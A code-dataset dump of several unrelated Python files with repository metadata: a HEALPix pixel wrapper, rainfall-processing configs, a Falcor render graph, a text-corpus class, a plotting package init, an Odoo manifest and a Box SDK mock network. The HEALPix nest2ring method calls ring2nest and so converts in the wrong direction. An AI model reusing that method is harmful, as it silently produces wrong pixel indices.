"BSD-2-Clause"
] | 2 | 2020-12-15T11:11:37.000Z | 2021-01-04T10:10:06.000Z | src/pycal/healpix.py | cmbgroundbased/libcal | 9e8bf0cea4d36c76ec4444efd0c8d3ffffca2c0b | [
"BSD-2-Clause"
] | 20 | 2020-07-11T09:33:10.000Z | 2022-03-17T09:24:56.000Z | src/pycal/healpix.py | cmbgroundbased/libcal | 9e8bf0cea4d36c76ec4444efd0c8d3ffffca2c0b | [
"BSD-2-Clause"
] | 3 | 2020-07-29T16:48:17.000Z | 2020-12-12T09:27:47.000Z | # Copyright (c) 2015-2020 by the parties listed in the AUTHORS file.
# All rights reserved. Use of this source code is governed by
# a BSD-style license that can be found in the LICENSE file.
from .utils import (
Logger,
AlignedF64,
AlignedI64,
ensure_buffer_f64,
ensure_buffer_i64,
object_ndim,
)
from ._libcal import (
healpix_ang2vec,
healpix_vec2ang,
healpix_vecs2angpa,
HealpixPixels,
)
import numpy as np
from .timing import function_timer
def ang2vec(theta, phi):
"""Convert spherical coordinates to a unit vector.
The theta angle is measured down from the North pole and phi is
measured from the prime meridian.
Args:
theta (array_like): The spherical coordinate theta angles in
radians.
phi (array like): The spherical coordinate phi angles in radians.
Returns:
(array): The array of output vectors.
"""
intheta = ensure_buffer_f64(theta)
inphi = ensure_buffer_f64(phi)
ntheta = len(intheta)
nphi = len(inphi)
if ntheta != nphi:
raise RuntimeError("theta / phi vectors must have the same length")
vec = AlignedF64(3 * nphi)
healpix_ang2vec(intheta, inphi, vec)
if len(vec) == 3:
if (object_ndim(theta) == 1) or (object_ndim(phi) == 1):
return vec.array().reshape(1, 3)
else:
return vec.array()
else:
return vec.array().reshape((-1, 3))
def vec2ang(vec):
"""Convert unit vectors to spherical coordinates.
The theta angle is measured down from the North pole and phi is
measured from the prime meridian.
Args:
vec (array_like): The array of input vectors.
Returns:
(tuple): The (theta, phi) arrays in radians.
"""
invec = ensure_buffer_f64(vec)
n = len(invec) // 3
theta = AlignedF64(n)
phi = AlignedF64(n)
healpix_vec2ang(invec, theta, phi)
if len(vec) == 3:
if object_ndim(vec) == 2:
return (theta.array(), phi.array())
else:
return (theta[0], phi[0])
else:
return (theta.array(), phi.array())
def vecs2angpa(vec):
"""Convert direction / orientation unit vectors.
The inputs are flat-packed pairs of direction and orientation unit
vectors (6 float64 values total per sample). The outputs are the
theta, phi, and position angle of the location on the sphere.
The theta angle is measured down from the North pole and phi is
measured from the prime meridian. The position angle is with respect
to the local meridian at the point described by the theta / phi
coordinates.
Args:
vec (array_like): The array of packed input direction and
orientation vectors.
Returns:
(tuple): The (theta, phi, pa) arrays in radians.
"""
invec = ensure_buffer_f64(vec)
n = len(invec) // 6
theta = AlignedF64(n)
phi = AlignedF64(n)
pa = AlignedF64(n)
healpix_vecs2angpa(invec, theta, phi, pa)
if len(vec) == 6:
if object_ndim(vec) == 2:
return (theta.array(), phi.array(), pa.array())
else:
return (theta[0], phi[0], pa[0])
else:
return (theta.array(), phi.array(), pa.array())
class Pixels(object):
"""Class for HEALPix pixel operations at a fixed NSIDE.
This provides a very thin wrapper around the internal HealpixPixels class.
This wrapper mainly exists to provide methods that return a newly created
output buffer (rather than requiring the user to pass in the buffer). If
you are happy pre-creating the output buffer then you can call methods
of HealpixPixels directly.
Args:
nside (int): the map NSIDE.
"""
def __init__(self, nside=1):
self.hpix = HealpixPixels(nside)
def __del__(self):
if self.hpix is not None:
del self.hpix
def reset(self, nside):
"""Reset the class instance to use a new NSIDE value.
Args:
nside (int): the map NSIDE.
Returns:
None
"""
self.hpix.reset(nside)
return
def ang2nest(self, theta, phi):
"""Convert spherical coordinates to pixels in NESTED ordering.
The theta angle is measured down from the North pole and phi is
measured from the prime meridian.
Args:
theta (array_like): Input spherical coordinate theta angles in
radians.
phi (array like): Input spherical coordinate phi angles in
radians.
Returns:
(array): Output pixel indices.
"""
intheta = ensure_buffer_f64(theta)
inphi = ensure_buffer_f64(phi)
ntheta = len(intheta)
nphi = len(inphi)
if ntheta != nphi:
raise RuntimeError("theta / phi vectors must have the same length")
pix = AlignedI64(nphi)
self.hpix.ang2nest(intheta, inphi, pix)
if nphi == 1:
if (object_ndim(theta) == 1) or (object_ndim(phi) == 1):
return pix.array()
else:
return pix[0]
else:
return pix.array()
def ang2ring(self, theta, phi):
"""Convert spherical coordinates to pixels in RING ordering.
The theta angle is measured down from the North pole and phi is
measured from the prime meridian.
Args:
theta (array_like): Input spherical coordinate theta angles in
radians.
phi (array like): Input spherical coordinate phi angles in
radians.
Returns:
(array): Output pixel indices.
"""
intheta = ensure_buffer_f64(theta)
inphi = ensure_buffer_f64(phi)
ntheta = len(intheta)
nphi = len(inphi)
if ntheta != nphi:
raise RuntimeError("theta / phi vectors must have the same length")
pix = AlignedI64(nphi)
self.hpix.ang2ring(intheta, inphi, pix)
if nphi == 1:
if (object_ndim(theta) == 1) or (object_ndim(phi) == 1):
return pix.array()
else:
return pix[0]
else:
return pix.array()
def vec2nest(self, vec):
"""Convert unit vectors to pixels in NESTED ordering.
The theta angle is measured down from the North pole and phi is
measured from the prime meridian.
Args:
vec (array_like): Input packed unit vectors.
Returns:
(array): Output pixel indices.
"""
invec = ensure_buffer_f64(vec)
n = len(invec) // 3
pix = AlignedI64(n)
self.hpix.vec2nest(invec, pix)
if len(vec) == 3:
if object_ndim(vec) == 2:
return pix.array()
else:
return pix[0]
else:
return pix.array()
def vec2ring(self, vec):
"""Convert unit vectors to pixels in RING ordering.
The theta angle is measured down from the North pole and phi is
measured from the prime meridian.
Args:
vec (array_like): Input packed unit vectors.
Returns:
(array): Output pixel indices.
"""
invec = ensure_buffer_f64(vec)
n = len(invec) // 3
pix = AlignedI64(n)
self.hpix.vec2ring(invec, pix)
if len(vec) == 3:
if object_ndim(vec) == 2:
return pix.array()
else:
return pix[0]
else:
return pix.array()
def ring2nest(self, ringpix):
"""Convert RING ordered pixel numbers into NESTED ordering.
Args:
in (array_like): Input pixel indices.
Returns:
(array): Output pixel indices.
"""
inpix = ensure_buffer_i64(ringpix)
n = len(inpix)
out = AlignedI64(n)
self.hpix.ring2nest(inpix, out)
if n == 1:
if object_ndim(ringpix) == 1:
return out.array()
else:
return out[0]
else:
return out.array()
def nest2ring(self, nestpix):
"""Convert NESTED ordered pixel numbers into RING ordering.
Args:
in (array_like): Input pixel indices.
Returns:
(array): Output pixel indices.
"""
inpix = ensure_buffer_i64(nestpix)
n = len(inpix)
out = AlignedI64(n)
self.hpix.ring2nest(inpix, out)
if n == 1:
if object_ndim(nestpix) == 1:
return out.array()
else:
return out[0]
else:
return out.array()
def degrade_ring(self, factor, inpix):
"""Degrade RING ordered pixel numbers.
Each 'factor' is one division by two in the NSIDE resolution. So
a factor of '3' would divide the NSIDE value by 8.
Args:
factor (int): The degrade factor.
in (array_like): Input pixel indices.
Returns:
(array): Output pixel indices.
"""
inp = ensure_buffer_i64(inpix)
n = len(inp)
out = AlignedI64(n)
self.hpix.degrade_ring(factor, inp, out)
if n == 1:
if object_ndim(inpix) == 1:
return out.array()
else:
return out[0]
else:
return out.array()
def degrade_nest(self, factor, inpix):
"""Degrade NESTED ordered pixel numbers.
Each 'factor' is one division by two in the NSIDE resolution. So
a factor of '3' would divide the NSIDE value by 8.
Args:
factor (int): The degrade factor.
in (array_like): Input pixel indices.
Returns:
(array): Output pixel indices.
"""
inp = ensure_buffer_i64(inpix)
n = len(inp)
out = AlignedI64(n)
self.hpix.degrade_nest(factor, inp, out)
if n == 1:
if object_ndim(inpix) == 1:
return out.array()
else:
return out[0]
else:
return out.array()
def upgrade_ring(self, factor, inpix):
"""Upgrade RING ordered pixel numbers.
Each 'factor' is one multiplication by two in the NSIDE
resolution. So a factor of '3' would multiply the NSIDE value
by 8.
Args:
factor (int): The upgrade factor.
inpix (array_like): Input pixel indices.
Returns:
(array): Output pixel indices.
"""
inp = ensure_buffer_i64(inpix)
n = len(inp)
out = AlignedI64(n)
self.hpix.upgrade_ring(factor, inp, out)
if n == 1:
if object_ndim(inpix) == 1:
return out.array()
else:
return out[0]
else:
return out.array()
def upgrade_nest(self, factor, inpix):
"""Upgrade RING ordered pixel numbers.
Each 'factor' is one multiplication by two in the NSIDE
resolution. So a factor of '3' would multiply the NSIDE value
by 8.
Args:
factor (int): The upgrade factor.
inpix (array_like): Input pixel indices.
Returns:
(array): Output pixel indices.
"""
inp = ensure_buffer_i64(inpix)
n = len(inp)
out = AlignedI64(n)
self.hpix.upgrade_nest(factor, inp, out)
if n == 1:
if object_ndim(inpix) == 1:
return out.array()
else:
return out[0]
else:
return out.array()
| 27.926014 | 79 | 0.563883 | 1,426 | 11,701 | 4.563815 | 0.145161 | 0.039951 | 0.023971 | 0.035341 | 0.740166 | 0.73571 | 0.698371 | 0.674401 | 0.658574 | 0.638599 | 0 | 0.021825 | 0.34997 | 11,701 | 418 | 80 | 27.992823 | 0.833815 | 0.399111 | 0 | 0.683673 | 0 | 0 | 0.022091 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.081633 | false | 0 | 0.020408 | 0 | 0.311224 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4012833e026d2ef87d8f082fc9d4e5cf625739d9 | 9,064 | py | Python | scripts/to_echse.py | heistermann/trmmlib | b32cf623737285073e4c61bd0e01a0fe8b26c329 | [
"MIT"
] | null | null | null | scripts/to_echse.py | heistermann/trmmlib | b32cf623737285073e4c61bd0e01a0fe8b26c329 | [
"MIT"
] | null | null | null | scripts/to_echse.py | heistermann/trmmlib | b32cf623737285073e4c61bd0e01a0fe8b26c329 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#-------------------------------------------------------------------------------
# Name: to_echse
# Purpose:
#
# Authors: Maik Heistermann
#
# Created: 2015-11-6
# Copyright: (c) Maik Heistermann
# Licence: The MIT License
#-------------------------------------------------------------------------------
#!/usr/bin/env python
import trmmlib as tl
import wradlib
import datetime as dt
def merge_dicts(*dict_args):
"""
Given any number of dicts, shallow copy and merge into a new dict,
precedence goes to key value pairs in latter dicts.
"""
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
if __name__ == '__main__':
# Interpolate rain gauges
conf_gages = dict(
tstart = "2001-01-01 03:30:00",
tend = "2010-12-31 03:30:00",
interval = 86400,
timeshift = -dt.timedelta(seconds=4.5*3600),
f_coords = "P:/progress/mahanadi/_qpe/gages_idw/locs.txt",
f_data = "P:/progress/mahanadi/_qpe/gages_idw/data.txt",
savefigs = "P:/progress/mahanadi/_qpe/gages_idw/maps",
f_gage_data = "P:/progress/mahanadi/Precipitation/rain_gages/precip_data_noGaps.txt",
f_gage_coords = "P:/progress/mahanadi/Precipitation/rain_gages/precip_locs_noGaps.txt",
f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt",
f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp",
figtxtbody = "Rain Gauge Interpolation IDW\nCatchment Rainfall",
bbox = {"left":80., "bottom":19., "top":24., "right":86.},
trg_proj = wradlib.georef.epsg_to_osr(32645),
map_proj = wradlib.georef.get_default_projection(),
newcoords = True,
levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300],
verbose = False
)
# TRMM 3B42 Research (Late)
conf_trmm = dict(
trmm_product = "daily3b42late",
tstart = "1998-01-01 00:00:00",
tend = "2015-04-30 00:00:00",
interval = 86400,
timeshift = dt.timedelta(seconds=24*3600),
srcdir = "X:/trmm/3B42_daily_V07",
f_coords = "P:/progress/mahanadi/_qpe/3B42_daily_research/coords.txt",
f_data = "P:/progress/mahanadi/_qpe/3B42_daily_research/data.txt",
savefigs = "P:/progress/mahanadi/_qpe/3B42_daily_research/maps",
f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt",
f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp",
figtxtbody = "TRMM 3B42 Research\nCatchment Rainfall",
bbox = {"left":80., "bottom":19., "top":24., "right":86.},
trg_proj = wradlib.georef.epsg_to_osr(32645),
map_proj = wradlib.georef.get_default_projection(),
newcoords = True,
levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300],
verbose = False
)
# TRMM 3B42 Real-Time (Early)
conf_trmm_rt = dict(
trmm_product = "daily3b42rt",
tstart = "1998-01-01 00:00:00",
tend = "2014-04-30 00:00:00",
interval = 86400,
timeshift = dt.timedelta(seconds=24*3600),
srcdir = "X:/trmm/3B42RT_daily_V07",
f_coords = "P:/progress/mahanadi/_qpe/3B42_daily_realtime/coords.txt",
f_data = "P:/progress/mahanadi/_qpe/3B42_daily_realtime/data.txt",
savefigs = "P:/progress/mahanadi/_qpe/3B42_daily_realtime/maps",
f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt",
f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp",
figtxtbody = "TRMM 3B42 Real-Time\nCatchment Rainfall",
bbox = {"left":80., "bottom":19., "top":24., "right":86.},
trg_proj = wradlib.georef.epsg_to_osr(32645),
map_proj = wradlib.georef.get_default_projection(),
newcoords = True,
levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300],
verbose = False
)
# GPM IMERG product
conf_imerg = dict(
trmm_product = "imerg/final/daily",
tstart = "2014-04-01 00:00:00",
tend = "2015-04-30 00:00:00",
interval = 86400,
timeshift = dt.timedelta(seconds=24*3600),
srcdir = "X:/gpm/imerg/final/daily",
f_coords = "P:/progress/mahanadi/_qpe/imerg/final/daily/coords.txt",
f_data = "P:/progress/mahanadi/_qpe/imerg/final/daily/data.txt",
savefigs = "P:/progress/mahanadi/_qpe/imerg/final/daily/maps",
f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt",
f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp",
figtxtbody = "IMERG Final\nCatchment Rainfall",
bbox = {"left":80., "bottom":19., "top":24., "right":86.},
trg_proj = wradlib.georef.epsg_to_osr(32645),
map_proj = wradlib.georef.get_default_projection(),
newcoords = True,
levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300],
verbose = False
)
# IMD4 Gridded rainfall Dataset
conf_imd4 = dict(
tstart = "1901-01-01 00:00:00",
tend = "2013-12-31 00:00:00",
interval = 86400,
timeshift = dt.timedelta(seconds=0*3600),
f_imd4 = "P:/progress/mahanadi/Precipitation/gridded_IMD/P.csv",
f_coords = "P:/progress/mahanadi/_qpe/imd4/locs.txt",
f_data = "P:/progress/mahanadi/_qpe/imd4/data.txt",
savefigs = "P:/progress/mahanadi/_qpe/imd4/maps",
f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt",
f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp",
figtxtbody = "IMD4 Subsample\nCatchment Rainfall",
bbox = {"left":80., "bottom":19., "top":24., "right":86.},
trg_proj = wradlib.georef.epsg_to_osr(32645),
map_proj = wradlib.georef.get_default_projection(),
newcoords = True,
levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300],
verbose = False
)
# Products from XDS (same format as IMD4)
conf_xds = dict(
gridresolution=0.5,
#xdsroot= "P:/progress/mahanadi/xds_20160510/ei",
xdsroot= "P:/progress/mahanadi/EC.csv",
echseext = ".echse",
zonaldatacart = "imd4_zonal_poly_cart",
fpattern = "pf.*.pl.t.csv",
#fpattern = "T.*-*-*.csv",
#fpattern = "T.csv",
#fpattern = "P.csv",
tstart = "2000-01-01 00:00:00",
tend = "2021-01-01 00:00:00",
interval = 86400,
timeshift = dt.timedelta(seconds=8*3600),
# f_coords = "P:/progress/mahanadi/_qpe/imd4/locs.txt",
# f_data = "P:/progress/mahanadi/_qpe/imd4/data.txt",
# savefigs = "P:/progress/mahanadi/_qpe/imd4/maps",
# f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt",
f_cats_shp = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp",
figtxtbody = "IMD4 Subsample\nCatchment Rainfall",
bbox = {"left":80., "bottom":19., "top":24., "right":86.},
trg_proj = wradlib.georef.epsg_to_osr(32645),
map_proj = wradlib.georef.get_default_projection(),
newcoords = True,
levels = [0,1,5,10,15,20,30,40,50,60,70,80,90,100,150,200,250,300],
verbose = False
)
# To create a map for a specific ECHSE data file
conf_mapping = dict(
tstart="2000-07-15 08:00:00",
tend="2000-07-17 08:00:00",
interval=86400,
f_coords = "P:/progress/mahanadi/_qpe/imd4/locs.txt",
f_data = "P:/progress/mahanadi/xds_20160510/ei/pdd/P.echse",
savefigs = "P:/progress/mahanadi/xds_20160510/ei/pdd/maps",
f_cats = "P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/catAttr_DN.txt",
f_cats_shp="P:/progress/mahanadi/gis/shapefiles/mahanadi_shapes/sub_catchments_DN.shp",
figtxtbody="EI Subsample\nCatchment Rainfall",
bbox={"left": 80., "bottom": 19., "top": 24., "right": 86.},
trg_proj=wradlib.georef.epsg_to_osr(32645),
map_proj=wradlib.georef.get_default_projection(),
levels=[0, 1, 5, 10, 15, 20, 30, 40, 50, 60, 70, 80, 90, 100, 150, 200, 250, 300],
verbose=False
)
# Compute subcatchment rainfall
# tl.wflows.gages_to_echse2(conf_gages)
# tl.wflows.imd4_to_echse2(conf_imd4)
# tl.wflows.trmm_to_echse3(conf_trmm)
# tl.wflows.trmm_to_echse3(conf_trmm_rt)
# tl.wflows.trmm_to_echse3(conf_imerg)
tl.wflows.xds_to_echse2(conf_xds)
# Make maps for all time steps based on config
# tl.wflows.maps_from_echse(conf_mapping)
| 41.577982 | 100 | 0.605803 | 1,197 | 9,064 | 4.409357 | 0.186299 | 0.068208 | 0.128837 | 0.071997 | 0.75161 | 0.750853 | 0.722622 | 0.636415 | 0.61709 | 0.582986 | 0 | 0.104413 | 0.234996 | 9,064 | 217 | 101 | 41.769585 | 0.656764 | 0.154568 | 0 | 0.5 | 0 | 0 | 0.3647 | 0.267972 | 0 | 0 | 0 | 0 | 0 | 1 | 0.006944 | false | 0 | 0.020833 | 0 | 0.034722 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
401c77f0fa2312410ea47eaff070aca03ed2b86e | 1,380 | py | Python | Source/RenderPasses/PixelInspectorPass/Data/GBufferRasterInspector.py | guiqi134/Falcor | 480c0c0ac4633c5b60ff533eea2902da76112df7 | [
"BSD-3-Clause"
] | 2 | 2021-12-19T08:26:31.000Z | 2022-01-24T09:17:32.000Z | Source/RenderPasses/PixelInspectorPass/Data/GBufferRasterInspector.py | shill-lucasfilm/Falcor | 5236495554f57a734cc815522d95ae9a7dfe458a | [
"BSD-3-Clause"
] | null | null | null | Source/RenderPasses/PixelInspectorPass/Data/GBufferRasterInspector.py | shill-lucasfilm/Falcor | 5236495554f57a734cc815522d95ae9a7dfe458a | [
"BSD-3-Clause"
] | null | null | null | from falcor import *
def render_graph_DefaultRenderGraph():
g = RenderGraph('DefaultRenderGraph')
loadRenderPassLibrary('GBuffer.dll')
loadRenderPassLibrary('PixelInspectorPass.dll')
GBufferRaster = createPass('GBufferRaster', {'samplePattern': SamplePattern.Center})
g.addPass(GBufferRaster, 'GBufferRaster')
PixelInspectorPass = createPass('PixelInspectorPass')
g.addPass(PixelInspectorPass, 'PixelInspectorPass')
g.addEdge('GBufferRaster.posW', 'PixelInspectorPass.posW')
g.addEdge('GBufferRaster.normW', 'PixelInspectorPass.normW')
g.addEdge('GBufferRaster.tangentW', 'PixelInspectorPass.tangentW')
g.addEdge('GBufferRaster.texC', 'PixelInspectorPass.texC')
g.addEdge('GBufferRaster.diffuseOpacity', 'PixelInspectorPass.diffuseOpacity')
g.addEdge('GBufferRaster.specRough', 'PixelInspectorPass.specRough')
g.addEdge('GBufferRaster.emissive', 'PixelInspectorPass.emissive')
g.addEdge('GBufferRaster.matlExtra', 'PixelInspectorPass.matlExtra')
g.addEdge('GBufferRaster.faceNormalW', 'PixelInspectorPass.faceNormalW')
g.addEdge('GBufferRaster.vbuffer', 'PixelInspectorPass.vbuffer')
g.addEdge('GBufferRaster', 'PixelInspectorPass')
g.markOutput('GBufferRaster.faceNormalW')
return g
DefaultRenderGraph = render_graph_DefaultRenderGraph()
try: m.addGraph(DefaultRenderGraph)
except NameError: None
| 49.285714 | 88 | 0.776812 | 114 | 1,380 | 9.368421 | 0.324561 | 0.082397 | 0.216292 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 1,380 | 27 | 89 | 51.111111 | 0.859903 | 0 | 0 | 0 | 0 | 0 | 0.485507 | 0.347826 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04 | false | 0.68 | 0.04 | 0 | 0.12 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
4023a98ffd490d12efefa6c1c6c1fd928cbca707 | 1,874 | py | Python | src/corpus/corpus_emerge_xray.py | uw-bionlp/ards | e9fc27f7034cc6b54f0ccdba4a58377948cf0258 | [
"BSD-3-Clause"
] | null | null | null | src/corpus/corpus_emerge_xray.py | uw-bionlp/ards | e9fc27f7034cc6b54f0ccdba4a58377948cf0258 | [
"BSD-3-Clause"
] | null | null | null | src/corpus/corpus_emerge_xray.py | uw-bionlp/ards | e9fc27f7034cc6b54f0ccdba4a58377948cf0258 | [
"BSD-3-Clause"
] | null | null | null |
import math
import json
import os
import joblib
import re
import shutil
import pandas as pd
from multiprocessing import Pool
import traceback
from tqdm import tqdm
import numpy as np
from collections import OrderedDict, Counter
import logging
from pathlib import Path
from datetime import datetime
from corpus.corpus import Corpus
DATE_FORMAT = "%Y-%m-%d-%H-%M-%S"
#def id2stem(study_id, date, date_format=DATE_FORMAT):
def id2stem(study_id, date):
#date_str = date.strftime(date_format)
filename = 'study{:04d}_{}'.format(study_id, date)
return filename
def id2filename(id):
return id2stem(*id)
#def parse_filename(filename, date_format=DATE_FORMAT):
def parse_filename(filename):
stem = Path(filename).stem
study_id, date = tuple(stem.split('_'))
study_id = int(re.sub('study', '', study_id))
#date = datetime.strptime(date, date_format)
return (study_id, date)
class CorpusEmergeXray(Corpus):
'''
Corpus container (collection of documents)
'''
def __init__(self):
Corpus.__init__(self)
#@override
def id2stem(self, id):
'''
Convert document ID to filename stem
'''
study_id, date = id
stem = id2stem(study_id, date)
return stem
#@override
def counts(self, **kwargs):
pc = self.patient_count(**kwargs)
dc = self.doc_count(**kwargs)
sc = self.sent_count(**kwargs)
wc = self.word_count(**kwargs)
columns = ['patient count', 'doc count', 'sent count', 'word count']
df = pd.DataFrame([[pc, dc, sc, wc]], columns=columns)
return df
def patient_count(self, **kwargs):
'''
Get patient count
'''
docs = self.docs(out_type='dict', **kwargs)
study_ids = set([study_id for study_id, _ in docs])
return len(study_ids)
| 19.726316 | 76 | 0.64301 | 243 | 1,874 | 4.794239 | 0.349794 | 0.066094 | 0.075536 | 0.046352 | 0.11588 | 0.042918 | 0 | 0 | 0 | 0 | 0 | 0.005626 | 0.241195 | 1,874 | 94 | 77 | 19.93617 | 0.813643 | 0.161686 | 0 | 0 | 0 | 0 | 0.055296 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.152174 | false | 0 | 0.347826 | 0.021739 | 0.652174 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
40367342a13b1cb1c461cecc9c36da2ab408b945 | 649 | py | Python | zcode/plot/__init__.py | lzkelley/zcode | 55a63693fe3ad744957d7ce2d74fb4c8e09ea8ba | [
"MIT"
] | 1 | 2021-02-11T03:24:55.000Z | 2021-02-11T03:24:55.000Z | zcode/plot/__init__.py | lzkelley/zcode | 55a63693fe3ad744957d7ce2d74fb4c8e09ea8ba | [
"MIT"
] | null | null | null | zcode/plot/__init__.py | lzkelley/zcode | 55a63693fe3ad744957d7ce2d74fb4c8e09ea8ba | [
"MIT"
] | null | null | null | """Plotting methods.
"""
# flake8: noqa --- ignore imported but unused flake8 warnings
LW_CONF = 1.0
LW_OUTLINE = 0.6
COL_CORR = 'royalblue'
_PAD = 0.01
from . import plot_core
from .plot_core import *
from . import Hist2D
from .Hist2D import *
from . import CorrelationGrid
from .CorrelationGrid import *
from . import color2d
from .color2d import *
from . import layout
from .layout import *
from . import draw
from .draw import *
__all__ = []
__all__.extend(plot_core.__all__)
__all__.extend(Hist2D.__all__)
__all__.extend(CorrelationGrid.__all__)
__all__.extend(color2d.__all__)
__all__.extend(layout.__all__)
__all__.extend(draw.__all__)
| 20.28125 | 62 | 0.762712 | 88 | 649 | 4.954545 | 0.352273 | 0.137615 | 0.165138 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026738 | 0.135593 | 649 | 31 | 63 | 20.935484 | 0.750446 | 0.121726 | 0 | 0 | 0 | 0 | 0.015986 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.521739 | 0 | 0.521739 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
403b997f94c0584496dff1f0c9dc1b3f51729849 | 609 | py | Python | apps/__manifest__.py | marionumza/it-projects-llc-access-addons | 421fb60b25bfea67ccf0309f3cf7385dafafc350 | [
"MIT"
] | null | null | null | apps/__manifest__.py | marionumza/it-projects-llc-access-addons | 421fb60b25bfea67ccf0309f3cf7385dafafc350 | [
"MIT"
] | null | null | null | apps/__manifest__.py | marionumza/it-projects-llc-access-addons | 421fb60b25bfea67ccf0309f3cf7385dafafc350 | [
"MIT"
] | 1 | 2021-02-15T03:14:52.000Z | 2021-02-15T03:14:52.000Z | {
"name": "Custom Apps",
"summary": """Simplify Apps Interface""",
"images": [],
"vesion": "12.0.1.0.0",
"application": False,
"author": "IT-Projects LLC, Dinar Gabbasov",
"support": "apps@itpp.dev",
"website": "https://twitter.com/gabbasov_dinar",
"category": "Access",
"license": "Other OSI approved licence", # MIT
"depends": ["access_apps"],
"data": ["views/apps_view.xml", "security.xml", "data/ir_config_parameter.xml"],
"post_load": None,
"pre_init_hook": None,
"post_init_hook": None,
"auto_install": False,
"installable": False,
}
| 30.45 | 84 | 0.600985 | 71 | 609 | 5 | 0.732394 | 0.04507 | 0.067606 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01222 | 0.19376 | 609 | 19 | 85 | 32.052632 | 0.710794 | 0.004926 | 0 | 0 | 0 | 0 | 0.600993 | 0.046358 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4040d9c5ab0c0ce801144826cad72f8b65b187b9 | 1,027 | py | Python | test/integration/mock_network.py | DaveSawyer/box-python-sdk | 6a5134ff9bbbbc0478bb39d7f622fe3829048cbf | [
"Apache-2.0"
] | null | null | null | test/integration/mock_network.py | DaveSawyer/box-python-sdk | 6a5134ff9bbbbc0478bb39d7f622fe3829048cbf | [
"Apache-2.0"
] | null | null | null | test/integration/mock_network.py | DaveSawyer/box-python-sdk | 6a5134ff9bbbbc0478bb39d7f622fe3829048cbf | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
from mock import Mock
import requests
from boxsdk.network.default_network import DefaultNetworkResponse
from boxsdk.network.network_interface import Network
class MockNetwork(Network):
"""Mock implementation of the network interface for testing purposes."""
def __init__(self):
super().__init__()
self._session = Mock(requests.Session)
self._retries = []
def request(self, method, url, access_token, **kwargs):
"""Base class override.
Make a mock network request using a mock requests.Session.
"""
return DefaultNetworkResponse(self._session.request(method, url, **kwargs), access_token)
def retry_after(self, delay, request_method, *args, **kwargs):
"""Base class override.
Retry immediately, recording the retry request.
"""
self._retries.append((delay, request_method, args, kwargs))
return request_method(*args, **kwargs)
@property
def session(self):
return self._session
